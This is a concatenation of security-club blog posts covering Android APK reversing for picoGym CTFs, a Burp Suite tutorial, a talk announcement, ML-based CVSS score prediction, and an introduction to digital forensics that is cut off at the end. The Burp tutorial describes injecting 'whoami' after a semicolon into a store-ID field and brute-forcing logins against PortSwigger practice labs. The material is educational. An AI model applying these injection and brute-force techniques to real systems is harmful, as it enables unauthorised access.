used for distribution and installation of apps on android devices. It is an archive (.zip) and we could open it in a file archiver tools such as winRAR and observe the package contents of the apk.\nScreenshot of an apk\u0026rsquo;s package content when opened in winRAR\nPackage content The apk has a typical file structure of the following format:\nMETA-INF/ MANIFEST.MF (the Manifest file) CERT.SF (list of resources and a SHA-1 digest) classes.dex (Dalvik bytecode) lib/ x86_64 (compiled code for x86-64 processors only) x86 (compiled code for x86 processors only) arm64-v8a (compiled code for all ARMv8 arm64 and above based processors only) armeabi-v7a (compiled code for all ARMv7 and above based processors only) assets/ -resources.arsc res/values/strings.xml AndroidManifest.xml Those files name in bold are the files that we are usually interested in as they contain the byte source code, the native functions (external functions) and data used by the app.\nDeveloper vs reverse engineer We first look from the perspective of an android developer:\nMost of the android applications are written in Java and kotlin. The Java source code written is compiled by Standard Java Compiler into Dalvik Executable (DEX) bytecode format. The bytecode finally gets executed by either one of the two different virtual machines Dalvik and Android Runtime(ART). For earlier versions of Android, the bytecode was translated by the Dalvik virtual machine. For more recent versions of Android (4.4++), Android Runtime (ART) was introduced and in subsequent versions, it replaced Dalvik.\nFlowchat of the common steps an Android developer takes\nAnd from the perspective a reverse engineer:\nA reverse engineer will do the opposite to restore back the source code. There are generally 2 approaches that one could take. The normal method and the shortcut method.\nThe normal method will reverse the DEX bytecode into SMALI instructions using dex2jar, you can think of it like the assembly language which is between the high level code and the bytecode. With the Smali code, we could either continue to reverse using jd-gui and obtain the decompiled java source code but we could also modify the smali code and patch the apk to access hidden information.\nThe shortcut method is a direct method that will decompile the apk into its source code using decompiler.com. This method allows us to quickly obtain the apk source code and its package contents. This is the method that we will mainly rely on for the CTF challenge walk-through.\n2 approaches the reverse engineer could take to reverse apks\nCTF walkthrough Let\u0026rsquo;s take a look at 2 apk reversing challenges from picoGym, we will apply the shortcut method and any additional steps to capture the flags. For the challenges, I will be running the apks in an android emulator Pixel_3a_API_30_x86 via Android Studio. For more information, check out android studio setup and install android emulator. Alternatively, if you have an android device, you could also connect to your computer via USB cable and launch it with android studio following this guide.\ndroids0 AUTHOR: JASON DESCRIPTION: Where do droid logs go. Running the apk We can start off by opening the apk via Android Studio (File \u0026gt; PROFILE or DEBUG apk) and then running it on our emulator (Shift + F10). The android emulator will launch and the apk will run and display the following main screen.\nWe can interact with the UI of the app, such as pressing the buttons and check for any hidden drawers. Upon pressing the button, the text below the button changes from \u0026ldquo;I\u0026rsquo;m a flag!\u0026rdquo; to \u0026ldquo;Not Today\u0026hellip;\u0026rdquo;\nIt seems like we triggered an event but we don\u0026rsquo;t get any flag output. Let\u0026rsquo;s decompile the apk.\nDecompile the apk and understanding the code Using the shortcut method via decompiler.com, we can obtain the source code of the apk:\none of the files that stands out is sources/com/helloccmu/picoctf/FlagstaffHill.java and with the following code:\npackage com.hellocmu.picoctf; import android.content.Context; import android.util.Log; public class FlagstaffHill { public static native String paprika(String str); public static String getFlag(String input, Context ctx) { Log.i(\u0026#34;PICO\u0026#34;, paprika(input)); return \u0026#34;Not Today...\u0026#34;; } } The getFlag() function when invoked will log the output of paprika(input) and return \u0026quot;Not Today...\u0026quot; which corresponds to what we observed earlier on, it seems like the flag has been passed into the Log.i() function invocation.\nWhere does the output of Log.i go? Log represents the Logger class for Android development, and serves as API for sending log output. There are different levels of problems and information that the developer could tag the log messages. The output can be captured via Android Studio or via CLI logcat.\nGet flag So, to get the flag, we could inspect the log outputs in our Android Studio instance. We can apply the info filter to filter out the irrelevant stuff.\ndroids1 AUTHOR: JASON DESCRIPTION: Find the pass, get the flag. Running the apk Following the steps from the previous walk-though, we will setup and interact with the UI of the app.\nIt seems like the application is asking us for a password, if the wrong password is provided, it will output to us \u0026ldquo;NOPE\u0026rdquo;\nDecompile the apk and understanding the code Using the shortcut method via decompiler.com, we can obtain the source code of the apk:\none of the files that stands out is sources/com/helloccmu/picoctf/FlagstaffHill.java and with the following code:\npackage com.hellocmu.picoctf; import android.content.Context; public class FlagstaffHill { public static native String fenugreek(String str); public static String getFlag(String input, Context ctx) { if (input.equals(ctx.getString(R.string.password))) { return fenugreek(input); } return \u0026#34;NOPE\u0026#34;; } } The getFlag() function when invoked will check our input with a password string. If the strings are not equal, the function will output \u0026ldquo;NOPE\u0026rdquo;.\nOur aim is to locate the password at ctx.getString(R.string.password)) and after some searching within the decompiled apk, there is a suspicious file /resources/res/values/strings.xml and it contains a password field with the following data:\nGet flag Try out the password that we restored and obtained the flag!\nConclusion There are definitely more areas to cover in Android reversing such as apk patching, dynamic debugging \u0026amp; native function hooking and I hoped that you\u0026rsquo;ve enjoyed reading and learnt something new. If you want to learn more, I recommend trying out different kinds of challenges from picoGym, past ctf challenges and reading up cyber security articles and papers.\nReferences https://developer.android.com/guide/components/fundamentals.html http://www.theappguruz.com/blog/android-compilation-process https://www.ragingrock.com/AndroidAppRE https://book.hacktricks.xyz/mobile-apps-pentesting/android-app-pentesting https://programmer.help/blogs/smali-introduction-manual.html https://medium.com/shipbook/android-log-levels-c0313055fdb9 https://frida.re/ ","permalink":"https://nusgreyhats.org/posts/writeups/introduction-to-android-app-reversing/","summary":"Overview This writeup will cover some of the basic techniques and methodologies that one could use to reverse and solve android apk challenges. We will also walk-through some basic ctf challenges from picoGym.\nWriteup table of content Tools and programming requirements What is APK? Developer vs reverse engineer CTF walk-through Conclusion References Tools and programming requirements Recommended tools to follow through this writeup:\nAndroid Studio decompiler.com Android Debug Bridge vscode \u0026amp; vscode plugin \u0026ndash; APKLab dex2jar jd-gui-windows Some understanding basic understanding of Java.","title":"Introduction to Android App Reversing"},{"content":"What is Burp Suite? Burp is all-in-one platform for website security testing. It has a variety of tools, such as:\nProxy to intercept, inspect, and modify HTTP requests A repeater to easily edit and re-send HTTP requests An \u0026ldquo;intruder\u0026rdquo; to send multiple requests (one use case is to brute-force a login page) Text encoder/decoder (HTML, URL, Base64, etc.) Why Burp Suite? When we are doing security testing, we want to give the application (lots of) unusual inputs. When we are dealing with website, these inputs are in the form of HTTP requests, be it GET, POST, or other type of requests. Burp allows us to easily modify and send these HTTP requests.\nBurp also has a lot of advanced features (e.g. automatically scan the website for vulnerabilities), but that is a different topic and will not be covered in this writeup.\nSetting Up You can download burp from here.\nBurp has its own built-in chromium browser, but you can also configure it to work with external browsers like Chrome and Firefox. You may need to configure your browser proxy setting to use burp, and you can find out how by going to this link. Additionally, you may want to install FoxyProxy so you can easily change your browser\u0026rsquo;s proxy setting.\n*In this writeup, we will try to attack online labs by PortSwigger. You may want to create an account first before continuing.\nUsing Burp Suite In this writeup, we will cover the following:\nProxy Repeater Intruder (and Turbo Intruder) To do that, we will try to perform OS Comand Injection attack and login bruteforce attack.\nProxy Burp Proxy is a web proxy server between your browser and target applications, and lets you intercept, inspect, and modify the raw traffic passing in both directions.\nIf you don\u0026rsquo;t know what a proxy server is, Wikipedia gives a pretty good explanation. Instead of sending HTTP request directly to the target, your browser will send the request to the proxy server and the proxy server will forward (or edit/drop) the request to the target.\nFirst, open burp and go to the Proxy tab. You will see something like this: You can click Open Browser to use Burp\u0026rsquo;s built-in browser, or open your own browser if you have configured the proxy settings. Make sure the intercept option is on.\nNow, try to go to any website. Your browser should hang and you can see this in your Burp: Here, the browser sent a GET request to Burp, but we have not forwarded the request. That\u0026rsquo;s why we don\u0026rsquo;t see anything loaded in our browser. At this stage, we can try to tinker around and change the request header to OPTIONS or POST, or we can change the cookie and add new data inside the request body. After we are done editing the request, we can press Forward and the request will be sent to the target.\nNote:\nIf you are trying to access sites like Yahoo or Youtube, you can get hundreds of HTTP requests, and manually clicking Forward can be tiring. You can turn off the intercept option and all requests will be forwarded automatically. You can always review the requests you have sent from the HTTP History tab.\nRepeater Burp Repeater is a simple tool for manually manipulating and reissuing individual HTTP and WebSocket messages, and analyzing the application\u0026rsquo;s responses. You can use Repeater for all kinds of purposes, such as changing parameter values to test for input-based vulnerabilities, issuing requests in a specific sequence to test for logic flaws, and reissuing requests from Burp Scanner issues to manually verify reported issues.\nTo begin, turn off the intercept option from the previos section and go to https://portswigger.net/web-security/os-command-injection/lab-simple to access the lab. Note that even when our intercept is turned off, burp will still record all HTTP requests it forwarded.\nAccording to the lab description, the application contains an OS command injection vulnerability in the product stock checker. Let\u0026rsquo;s try to see a product and check its stock: After we clicked the button, we can see the stock of the product, but nothing more. Now, turn on the intercept option and try to check the stock again. We can see that our browser is actually sending a POST request to the app. We can play with the store ID. We can put whoami, 123456, etc. But, this process of going to the page, intercepting the request, changing the request, and then forwarding the request is very cumbersome. Let\u0026rsquo;s find another way.\nLet\u0026rsquo;s see the HTTP history: Now, right click on the request, then select Send to repeater.\nHere, we can send the POST request to the server again and again by changing the request and clicking Send. There\u0026rsquo;s no need for us to go to the page, intercept the request, change the request, and forward the request again and again.\nTo solve the lab, close the current command with a semicolon and inject whoami. The username will be printed on the Response tab. Intruder Burp Intruder is a tool for automating customized attacks against web applications. It is extremely powerful and configurable, and can be used to perform a huge range of tasks, from simple brute-force guessing of web directories through to active exploitation of complex blind SQL injection vulnerabilities.\nTo demonstrate this feature, we will try to solve https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-different-responses.\nWe are given a list of possible usernames and passwords, and our job is to login to the platform.\nOf course, we can try to manually try every single combination from the web page, or use the repeater to directly edit the HTTP request. But, it will take a lot of time if we have to do this manually. What we can do, is to right click on the login request and send it to intruder. There are four different modes of intruder: sniper, Battering ram, Pitchfork, and Cluster bomb. We will use sniper mode for this example and will not cover the difference between those attack types, but you can read more here if you want to know more.\nFirst, go to Positions tab and clear all markers. Then, add a marker on the username field. Next, go to the Payload tab and paste the wordlist from the lab website. Finally, click Start attack to initiate the attack. This will take a while if you are using the free (community) version.\nAfter the attack is finished, sort the response according to its length, and we can see that one response has different length. Indeed, this is the correct username we are looking for. Now, we put the correct username, add a marker for the password tab, and repeat the process again to get the password.\nTurbo Intruder If you are using Burp community edition, you will realize that the intruder is really slow. Its rate is limited to around one request per second. So, if you have thousands of requests to be sent, it can take forever. Luckily, we have an alternative called Turbo Intruder. To use it, we must first install it from the BApp store under the Extender tab. Then, from our HTTP history tab, instead of sending the packet to intruder, we select Extensions and Send to Turbo Intruder Turbo intruder uses python, so you can really customize your own code if you understand Python\u0026rsquo;s syntax. We save the wordlist from the lab website locally, and then we put a format string specifier %s to indicate the string we want to change. You can change the number of threads used to send the requests, as well as the number of requests for each connection. A word of caution, if you set these numbers wrongly, you can overload and crash the server and/or crash your own computer (most probably your computer will crash before the server does though). Also, in some cases, you want to keep these numbers low because the server may reject the connection if it has a rate limiting algorithm in place.\nSetting the number of threads to be 5 and the number of connections to be 1, we can achieve around 9 requests per second, which is 9 times better than the original burp intruder. Moving forward Now that you know the basic, the next thing to do is to practice :)\nYou can start by solving the challenges in these websites:\nDVWA WebGoat PortSwigger Academy Then, if you are interested with pentesting real sites, you can read Web Hacking 101 by Peter Yaworski and go to Hackerone and try to find some real vulnerabilities. Have fun!\nReferences https://portswigger.net/burp https://portswigger.net/burp/documentation/desktop/tools/proxy/getting-started https://en.wikipedia.org/wiki/Proxy_server https://portswigger.net/burp/documentation/desktop/tools/repeater/using https://portswigger.net/burp/documentation/desktop/tools/intruder/using Burp intruder attack types Turbo Intruder ","permalink":"https://nusgreyhats.org/posts/writeups/intro-to-burp/","summary":"What is Burp Suite? Burp is all-in-one platform for website security testing. It has a variety of tools, such as:\nProxy to intercept, inspect, and modify HTTP requests A repeater to easily edit and re-send HTTP requests An \u0026ldquo;intruder\u0026rdquo; to send multiple requests (one use case is to brute-force a login page) Text encoder/decoder (HTML, URL, Base64, etc.) Why Burp Suite? When we are doing security testing, we want to give the application (lots of) unusual inputs.","title":"Introduction to Burp Suite"},{"content":"Zoom Link: https://nus-sg.zoom.us/meeting/register/tZAqf-qgpzsqE9QRODBP6oPRA0PzkPAaTFFz\nTalk: 7:00pm-7:45pm Title: An introduction to container hacking\nDescription Now that containers, Docker and Kubernetes are everywhere, we have to ask the most important question \u0026lsquo;how do we hack them!\u0026rsquo; . This talk will take a look at some of the underpinnings of how these systems work, to give you ideas on where to start and then look at some classic container hacking techniques.\nSpeaker Bio Rory has worked in the Information and IT Security arena for the last 21 years in a variety of roles. These days he spends his work time on container and cloud native security as a Cloud Native Security Advocate for Aqua. He is an active member of the container security community having delivered presentations at a variety of IT and Information security conferences. He has also presented at major containerization conferences and is an author of the CIS Benchmarks for Docker and Kubernetes and main author of the Mastering Container Security training course which has been delivered at numerous industry conferences including Blackhat USA. When he\u0026rsquo;s not working, Rory can generally be found out walking and enjoying the scenery of the Scottish highlands.\nTalk: 7:45pm-8:30pm Title: An Introduction to Burp Suite\nDescription Burp Suite is a must-have tool for security professionals, especially those who are specializing in web security. In this talk, Adhy will share Burp\u0026rsquo;s basic functionalities and use them to exploit a vulnerable web application.\nSpeaker Bio Adhy is a year 3 NUS Information Security undergraduate. Since a young age, he enjoys playing with codes and computers. Recently, he\u0026rsquo;s been trying to explore penetration testing and web security to broaden his horizon.\nTitle: Automate Reverse Engineering CTF with Angr\nDescription This talk focuses on the use of symbolic execution engine in the binary analysis framework Angr to automate solving CTF reverse engineering challenges. Bailin will cover a basic overview of Angr and solutions to some common roadblocks faced by new Angr users when solving CTF challenges.\nRequirements The participants should have basic knowledge on C/C++, x86 assembly and Linux.\nSpeaker Bio Li Bailin is a year 2 Computer Science student, a washed-up semi-retired CTF Reverse Engineering player. He is currently (subject to change in the next few weeks) interested in automated program analysis and bug hunting.\n","permalink":"https://nusgreyhats.org/posts/secweds/ay2122s2/sw2601/","summary":"Zoom Link: https://nus-sg.zoom.us/meeting/register/tZAqf-qgpzsqE9QRODBP6oPRA0PzkPAaTFFz\nTalk: 7:00pm-7:45pm Title: An introduction to container hacking\nDescription Now that containers, Docker and Kubernetes are everywhere, we have to ask the most important question \u0026lsquo;how do we hack them!\u0026rsquo; . This talk will take a look at some of the underpinnings of how these systems work, to give you ideas on where to start and then look at some classic container hacking techniques.\nSpeaker Bio Rory has worked in the Information and IT Security arena for the last 21 years in a variety of roles.","title":"SecWed #260122"},{"content":"Overview This writeup details the construction of rudimentary machine learning models that use the descriptions of CVEs to predict their corresponding base CVSS scores. A brief illustration is shown below.\nThe original idea originates from an internship that I have done, and this personal project is an attempt on my own to improve and expand on what I done previously. The project is still a work in progress.\nPython and its associated libraries (mainly Pandas, Sklearn and some SpaCy) are used.\nRaw Data Gathering and Filtering Data for this project is taken from CVE JSON data feeds provided by the National Vulnerability Database (NVD). Each data feed contains details of CVEs in a particular year, with the earliest data feed coming from the year 2002. The JSON data feeds contain tons of data about each CVE, such as the CWEs associated with it, references, descriptions, CVSS V2 and V3 metrics, and published dates.\nAs the JSON data feeds are quite complex, they cannot be easily parsed into a dataframe using Pandas and Python\u0026rsquo;s json library due to their extremely nested structure and missing fields when data is absent. Thus, I decided to just extract the essential data (CVE description, base CVSS V2 score, and base CVSS V3 score) that will be needed from the data feeds instead of trying to parse all data into a nice dataframe. Since not every CVE has an associated CVSS V2 or V3 score, missing scores are temporarily replaced with a None when extracting these data. The function used is shown here:\ndef get_useful_features(raw_cve_entry): entry = dict() try: entry[\u0026#34;description\u0026#34;] = raw_cve_entry[\u0026#34;cve\u0026#34;][\u0026#34;description\u0026#34;][\u0026#34;description_data\u0026#34;][0][\u0026#34;value\u0026#34;] except KeyError: entry[\u0026#34;description\u0026#34;] = None try: entry[\u0026#34;baseScoreV3\u0026#34;] = raw_cve_entry[\u0026#34;impact\u0026#34;][\u0026#34;baseMetricV3\u0026#34;][\u0026#34;cvssV3\u0026#34;][\u0026#34;baseScore\u0026#34;] except KeyError: entry[\u0026#34;baseScoreV3\u0026#34;] = None try: entry[\u0026#34;baseScoreV2\u0026#34;] = raw_cve_entry[\u0026#34;impact\u0026#34;][\u0026#34;baseMetricV2\u0026#34;][\u0026#34;cvssV2\u0026#34;][\u0026#34;baseScore\u0026#34;] except KeyError: entry[\u0026#34;baseScoreV2\u0026#34;] = None return entry The extracted essential data can be seen below.\nAfter extracting the data, a quick look at the data will show that there are many unusable CVEs that are included in the data (See row 177474 in the figure above). The different reasons for the CVEs to be not usable is shown below, along with the number of CVEs that is tagged with that reason.\nReason for not being used Number of CVEs REJECT 10349 DISPUTED 897 UNSUPPORTED WHEN ASSIGNED 91 PRODUCT NOT SUPPORTED WHEN ASSIGNED 6 UNVERIFIABLE 5 UNVERIFIABLE, PRERELEASE 2 SPLIT 1 Since they all had a description that starts with ** \u0026lt;REASON\u0026gt; **, a quick regex matching was done to filter out and remove these unneeded data.\ndf = df[~(df.description.str.contains(\u0026#39;^\\\\*\\\\*\\\\s+[A-Z]+\\\\s+\\\\*\\\\*\\\\s+\u0026#39;))] # Remove unneeded CVEs Initially, I thought of using both base CVSS V2 and V3 scores in the project, simply to see which score can be better predicted. However, after looking at the counts of each metric, I realised that the number of CVEs with base CVSS V2 scores (165904) vastly outnumbered the number of CVEs with base CVSS V3 scores (92983). As such, I then decided to remove all CVEs that do not have a base CVSS V2 score and just focus on predicting base CVSS V2 scores, simply as that would allow me more data to work with.\ndf.dropna(inplace=True, subset=[\u0026#34;baseScoreV2\u0026#34;]) After the removal of unusable CVEs and CVEs that do not have an associated base CVSS V2 score, I was left with a total of 165904 rows of CVE entries, shown below.\nThe CVE entries are then split into train and test data.\nX = df[\u0026#34;description\u0026#34;] y = df[\u0026#34;baseScoreV2\u0026#34;] X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3) The distribution of base CVSS V2 scores of the training data is shown below.\nML Pipeline Construction Since I have filtered out all unneedded data, I can proceed to create the ML pipelines. The pipelines will consists of 3 steps:\nVectorizer to convert CVE descriptions into a vector form suitable to be fed into ML algorithms. An optional PCA algorithm to reduce the dimensions of the input from the vectorizer. The actual ML model that will be used. NLP Processing and Vectorizing Firstly, I chose the easy way out and used the Bag-of-Words (BoW) and TF-IDF models to vectorize the descriptions. These 2 models can be invoked by simply using Sklearn\u0026rsquo;s CountVectorizer and TfidfVectorizer. To augment these vectorizers, I used SpaCy to write a custom tokenizer function to do basic NLP processing on these descriptions which can be fed into Sklearn\u0026rsquo;s vectorizers. The Python library SpaCy is used for this purpose since it contains pretrained NLP pipelines which simplifies this processing step immensely.\n# Create custom tokenizer def tokenizer(desc): tokens = nlp(desc) tokens = [word.lemma_.lower().strip() for word in tokens] tokens = [word for word in tokens if word not in nlp.Defaults.stop_words and not set(word).issubset(punctuation)] return tokens The function first feeds each description into SpaCy\u0026rsquo;s en_core_web_lg pretrained pipeline, where they are tokenized. Then, each token is stripped off leading and trailing whitespaces, before being converted to lowercase and lemmatized. If the token is a punctuation or a stop word, it is removed too. The result is then a list of tokens that will be used by Sklearn\u0026rsquo;s vectorizers to fit the BoW and TF-IDF models. The output of the vectorizers will then be a word vector that represents the CVE description that was fed in.\nThe vectorizers and parameters used are shown below:\nCountVectorizer(tokenizer=tokenizer, ngram_range=(1,2), max_df=0.5, min_df=5, max_features=10000,) TfidfVectorizer(tokenizer=tokenizer, ngram_range=(1,2), max_df=0.5, min_df=5, max_features=10000,) PCA for Dimensionality Reduction As the dimensions of the word vectors are very large due to the large vocabulary accumulated from all the training CVE descriptions, PCA is used reduce the number of dimensions of the word vectors. However, as including this step increases the computational time by a lot, this step is ommitted in most of the pipelines that I created.\nTruncatedSVD(n_components=10000, n_iter=7, random_state=42) Choosing ML Models Since my aim is just to explore which ML model will give a better result, I chose a few simple models to get a basic feel of how well a model can predict the base CVSS V2 scores using their associated CVE descriptions (The models were also chosen with considerations for my potato laptop).\nModels chosen were:\nLinear Regression KNN Decision Trees Gradient Boosting Regression (Xgboost) With the exception of Linear Regression which was fitted on transformed features from both BoW and TF-IDF vectorizers, the other 3 models were only fitted on transformed data from the TF-IDF vectorizer.\nlinear_regr = LinearRegression() knn_regr = KNeighborsRegressor() dt_regr = DecisionTreeRegressor(min_samples_split=5, min_samples_leaf=3,) xgboost_regr = GradientBoostingRegressor() Results To score results of the models, Mean Square Error was chosen as the evaluation metric, since I want to penalize models more for larger errors. As the target base CVSS V2 score only ranges from 0 to 10, the predicted values of the models are further fed into a function that constrains the predicted values to this range (predicted values that are less than 0 to 0, and all predicted values more than 10 to 10).\ny_pred = np.clip(pipeline.predict(X_test), 0, 10) mse = mean_squared_error(y_test, y_pred) Results are shown in the table below. Do note fine tuning of models have not been done as of the writing of this writeup since it is probably going to take a long time to run and burn up my laptop.\nModel Vectorizer Have PCA MSE Linear Regression BoW False 1.62 Linear Regression TF-IDF False 1.66 Linear Regression BoW True 1.59 KNN TF-IDF False 1.92 Decision Trees TF-IDF False 2.22 Xgboost TF-IDF False 1.91 Discussion and Future Work As can be seen, the BoW vectorizer seem to produce slightly better results than the TF-IDF vectorizer. Inclusion of the PCA algorithm also provides some slight improvements. Comparing the different models used, linear regression seem to have produced the best results.\nOverall, the best MSE of 1.59 is a good sign, especially since the pipelines are not optimised at all. This shows that the ML model will on average have an error of about 1.59 when prediciting CVSS scores, which is still acceptable since 1.59 is not too much over the range of 0 to 10.\nIn the future, work will be done in the following aspects:\nConstructing a recurrent neural network to compare against the performance of these classic ML algorithms. Perform more pre-processing on the CVSS scores, since they are not very normally distributed. Incorporate word vectors and compare performance against the BoW and TF-IDF vectorizers. Optimising hyperparameters to get an optimal model. Employing the model for various use cases. References https://nvd.nist.gov/vuln/data-feeds# https://scikit-learn.org/stable/modules/classes.html https://pandas.pydata.org/docs/ https://spacy.io/usage/linguistic-features https://www.kaggle.com/nkitgupta/text-representations https://www.kaggle.com/abhishek/approaching-almost-any-nlp-problem-on-kaggle https://www.ibm.com/support/pages/transforming-variable-normality-parametric-statistics https://towardsdatascience.com/working-with-sparse-data-sets-in-pandas-and-sklearn-d26c1cfbe067 ","permalink":"https://nusgreyhats.org/posts/writeups/simple-ml-models-to-predict-cvss-scores/","summary":"Overview This writeup details the construction of rudimentary machine learning models that use the descriptions of CVEs to predict their corresponding base CVSS scores. A brief illustration is shown below.\nThe original idea originates from an internship that I have done, and this personal project is an attempt on my own to improve and expand on what I done previously. The project is still a work in progress.\nPython and its associated libraries (mainly Pandas, Sklearn and some SpaCy) are used.","title":"Simple ML models to predict CVSS scores"},{"content":"An introduction to Digital Forensics Welcome to a beginner\u0026rsquo;s guide to Digital Forensics. This writeup explains how forensics is applied in the real world, and common techniques/challenges used in CTFs.\nIf you are already well versed with digital forensics and would like to learn about digital forensics in CTFs, you may skip to here.\nThe term \u0026ldquo;forensics\u0026rdquo; originally means \u0026ldquo;of or before the forum\u0026rdquo;. The modern meaning of \u0026ldquo;forensics\u0026rdquo; is a form of legal evidence to be presented.\nDigital Forensics There are multiple aspects of digital forensics. They include but are not limited to:\nFile System Forensics Memory Forensics Network Forensics Database Forensics Application Forensics E-mail Forensics In this writeup, we will be focusing on file system forensics, memory forensics, and network forensics.\nFile System Forensics Files or folders can be hidden by:\nhaving their names start with . (in Linux) marking them as hidden (in Windows) deleting them Deleted files can potentially be recovered through data carving using specific tools. Data carving is the process of reassembling computer files from fragments in the absence of filesystem metadata.\nWhen a file is deleted, the entry in the file system metadata is removed. However, the actual data still remains on the disk. The data is only lost after is is overwritten by new data. This is why in digital forensics, it is important to not write new data into the medium that you are carrying out forensics on.\nLet me explain this in simpler terms.\nImagine you have a folder containing many sheets of papers. The first page of the folder is a contents page. In real life, when you want to remove a piece of paper from the file permanently, you will simply do so. However, that is not the case for computers. In computers, what happens is that the entry in the contents page gets erased, while the piece of paper inside the file remains untouched. When you need to write new information into the folder, the pages with the unwanted content gets overwritten with new information, while what remains of the old, unwanted information gets ignored.\nMemory Forensics Hard disks contain a myriad of data. They not only contain data of your files and folders, but also store much more information that most people aren\u0026rsquo;t aware about. These essential groups of data contain metadata and other bits of information that makes a hard drive behave correctly. Chunks of space in hard drives are reserved for metadata.\nHowever, not all of the space in those chunks are actually utilized. This allows for data to be written and hidden in these empty spaces, and will not affect the typical functionality of the hard drive in any way. Examples of parts of the hard drive where data can be hidden in are:\nHost Protected Area \u0026amp; Device Configuration Overlay Unused space in the Master Boot Record Volume Slack Partition Slack Boot sector in Non-bootable partition Unallocated space in a partition Good blocks marked \u0026ldquo;bad\u0026rdquo; Disk Slack Unused space in superblock Unused space in block groups Directory entries Data hidden in these areas of a hard disk can be found through the process of data carving.\nNetwork Forensics Network traffic is extremely volatile. This is why network forensics should be a proactive investigation.\nHow to capture network traffic? To capture network traffic, run a network monitoring tool such as Wireshark.\nWhere to capture network traffic? Network traffic should be captured at an endpoint, such as a proxy server, or at a forensic PC connected to the mirror port of an internet router.\nAt these locations, investigators can collect unicast traffic sent from the host in question.\nComputer networks have layers In computer networking, there are several layers. Namely, the application, transport, network, and data-link layers. Each layer employs different protocols to ensure that data moves from one place to another correctly. This also means that there are different types of evidence we can collect from each layer.\nApplication Layer DNS, SMTP, HTTPS and HTTP protocols are used in this layer. DNS translates a domain name into the correct IP address. SMTP is used to send and receive mail. HTTPS is the secure version of HTTP, and is used to fetch HTML files to load web pages. HTTP is not secure because the data is sent in plain text. This means that if a malicious actor gained unlawful access into a network (or if they are in the vicinity of the victim), and if a user enters their login details to gain access to their own account on a certain website, the malicious actor will be able to acquire them by sniffing the packets on the network sent by the unsuspecting user. HTTPS fixes that problem by encrypting data being received and sent by a host, and is still in use to this day since its introduction in 1994.\nTransport Layer The transport layer optionally ensures the reliability of communications. TCP and UDP are used here.\nTCP is used in connections where reliability is of paramount importance. For example, in sending texts, streaming videos, or sending files. UDP is used in connections where speed takes precedence over reliability. For example, in voice/video calls, or when playing online games. Network Layer The network layer is in charge of routing packets across networks.\nThe IP protocol delivers packets from the source host to destination host based on the IP addresses present in packet headers.\nData-link layer The data-link layer is responsible for handling communications on the physical network components.\nWith the right expertise and tools, it is possible to eavesdrop on wired communications that go through ethernet cables.\nNetwork Forensics as a whole At the beginning of network forensics, investigators begin with very limited information such as an IP address, port number, and a protocol.\nHowever, this is enough to search for more sources of data for more useful information. Most of the time, the more useful evidence is found in the application layer.\nDespite this, investigators might still need additional IP addresses to identify other hosts involved in the malicious activity. Certain activities such as DDoS attacks do not have relevant application-level data.\nTherefore, network forensics provides important support to the overall analysis of activities happening in the application layer.\nForensics in CTFs In CTFs, forensics is a very popular category. It is also important to note that while some challenges may be marked as \u0026ldquo;forensics\u0026rdquo;, they may also employ steganography and/or cryptography to make them even more challenging.\nSteganography involves hiding data, while cryptography makes it difficult to understand the data. More often than not, you might find yourself going deep into rabbit holes that lead to absolutely nowhere. It may be frustrating, but it\u0026rsquo;ll feel very rewarding once you get the flag.\nHere are some tips you can use to get started with common/easy forensics challenges.\nImage Forensics Hidden in plain sight Sometimes, information can be hidden in plain sight, just like in this example\nOn the left is an image downloaded from a challenge. On the right is the same image but filled with white, which reveals a hidden URL in a slightly different tone of red.\nMetadata Instead of data being hidden inside the image, they might be hidden in the metadata. By viewing the properties of the file or by using an online tool such as Jeffrey\u0026rsquo;s Image Metadata Viewer, we will be able to see these information.\nHidden strings Potential flag hidden in the image file, when viewed using HxD, a hex editing software\nWhen viewed in a text or hex editor, images may contain strings like these. These strings, when placed in certain parts of the file, will not affect the image in any way. This means that the image can still be opened and viewed normally using an image viewer.\nIn Linux systems, there is a command called strings. You can also run this command with the given file to see if there are any readable secrets.\nHidden Files Hidden files found and extracted from a file using binwalk\nSimilar to hiding a string, files can also be hidden in images. They are typically concatenated after the bytes of the image. They can be found and extracted using tools such as binwalk.\nLeast Significant Bit (LSB) As you know, files are made up of bytes. 1 byte is equal to 8 bits. If the least significant bit of a byte is changed, it will not change the overall value by too much.\nUsing this idea, we can potentially hide messages in binary in images by altering the LSB of all the pixel values. This will not make any significant change to the image, and will practically go unnoticed by humans.\nTo extract the hidden information, simply go through all the bytes, take the LSB, and append it to the string of extracted LSBs. Then, convert the final binary string into a readable message or even a file.\nTo learn more about LSB Steganography, this tutorial provides a more in-depth explanation of how it works.\nAudio Forensics Binary or Morse Code A peak in a soundwave may denote a 1, while a trough may denote a 0. This is a simple way to hide messages encoded in binary or Morse code in an audio file.\nScreenshot of a Forensics challenge, where the high represents 1, and the low represents 0.\nFor challenges like this, a visual aid might be useful. I recommend opening the file in Audacity first before conducting further analysis.\nSpectrogram Even though it is an audio file that you\u0026rsquo;re dealing with, the challenge author might want to hide visual information in the sound. Not in the form of waves, but through spectrograms.\nQR Code hidden in spectrogram\nOne way to view spectrograms in audio files is through this online tool called Spectrum Analyzer.\nNetwork Forensics Hidden in plain sight HTTP sends unencrypted packets from one endpoint to another, making it incredibly unsecure\nGiven a packet capture (pcap) file, you can find out what has been done, and what has been communicated over two hosts.\nFirstly, open the pcap file in Wireshark. For simpler challenges, the flags can be present in plain text— you\u0026rsquo;ll just need to know what to look for.\nUnsecured protocols such as HTTP should first be used as filters to get the low-lying fruit.\nFollow the TCP Stream On a given pcap file, there might be a need to extract messages or files that have been sent from one host to another. This can be done by following a TCP stream, then saving the contents of the stream.\nIf there are multiple types of files in the packet capture, you may want to check out this guide on how to export objects from different types of traffic in Wireshark.\nUnknown file Forensics Identify file signature What happens when you are given a file with an unknown extension, or even one that doesn\u0026rsquo;t exist?\nLuckily, files always have two attributes we can use to identify them. The first way is through the extension (png, jpg, mp4, wav, pdf, etc.). The second way is through file signatures.\nA file signature is a unique group of bytes located at the beginning of a file. File signatures are used to identify or verify the content of a file.\nHere is a list of file signatures you can use to figure out what type of file you are dealing with.\nAlternatively, you may also run file or binwalk on the unknown file to identify it automatically.\nBroken file signatures Uh oh, you realised that the extension of the given file is unknown, and the signature does not exist in the given list. Now what?\nAt this point, you may check if there are any similarities between the broken signature you were given, and legitimate signatures. Chances are, you might just need to fix a few bytes here and there before the file becomes readable.\nConversely, the file signature might be legitimate, but the file extension isn\u0026rsquo;t. In such cases, simply change the extension to the one that corresponds to the file signature, and you\u0026rsquo;ll be able to open the file.\nOS 